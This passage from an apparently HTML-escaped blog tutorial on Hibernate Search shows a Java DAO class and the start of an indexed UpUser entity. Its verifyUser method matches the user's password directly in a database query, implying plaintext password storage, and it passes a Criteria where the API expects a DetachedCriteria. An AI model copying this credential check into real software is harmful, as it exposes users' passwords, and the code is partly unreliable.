&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import java.util.List;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import org.hibernate.Criteria;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import org.hibernate.Session;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import org.hibernate.SessionFactory;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import org.hibernate.criterion.Restrictions;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import com.test.lab.dao.UserDAO;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import com.test.lab.model.UpUser;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import com.test.lab.model.UpUserProfile;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;public class UserDAOImpl extends HibernateDaoSupport&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;implements UserDAO{&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;SessionFactory sessionFactory;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;public void setSessionFactory(SessionFactory sessionFactory) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.sessionFactory = sessionFactory;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;public SessionFactory getSessionFactory() {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return sessionFactory;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public Boolean verifyUser(UpUser user) {&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // TODO Auto-generated method stub&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Boolean result = false;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; final Session session = sessionFactory.openSession();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Criteria criteria = session.createCriteria(&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; UpUser.class);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; criteria.add(Restrictions.eq(&quot;userScreenName&quot;, user.getUserScreenName()));&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; criteria.add(Restrictions.eq(&quot;userPassword&quot;, user.getUserPassword()));&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;List&amp;lt;UpUser&amp;gt; list = getHibernateTemplate().findByCriteria(criteria);&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;if(list.size()&amp;gt;0)&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;result = true;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;return result;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: #a6a6a6; background-position: initial initial; background-repeat: initial initial; padding: 0in 5.4pt; width: 6.65in;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
Now, it&#39;s time to index your application by simply adding few annotations in your code.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;b&gt;Entity of UpUser:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoNormalTable&quot; style=&quot;border-collapse: collapse;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: #a6a6a6; background-position: initial initial; background-repeat: initial initial; padding: 0in 5.4pt; width: 6.65in;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;package com.test.lab.model;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import java.util.Date;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import java.util.HashSet;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import java.util.Set;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import org.hibernate.search.annotations.Analyze;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import org.hibernate.search.annotations.DocumentId;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import org.hibernate.search.annotations.Field;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import org.hibernate.search.annotations.Index;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import org.hibernate.search.annotations.Indexed;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import org.hibernate.search.annotations.Store;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import com.opensymphony.xwork2.validator.annotations.RequiredFieldValidator;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;import com.opensymphony.xwork2.validator.annotations.RequiredStringValidator;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;/**&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;* UpUser entity. @author MyEclipse Persistence Tools&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;@Indexed&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;public class UpUser implements java.io.Serializable {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Fields&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private Integer userId;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private String userScreenName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private String userPassword;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Constructors&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /** default constructor */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public UpUser() {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
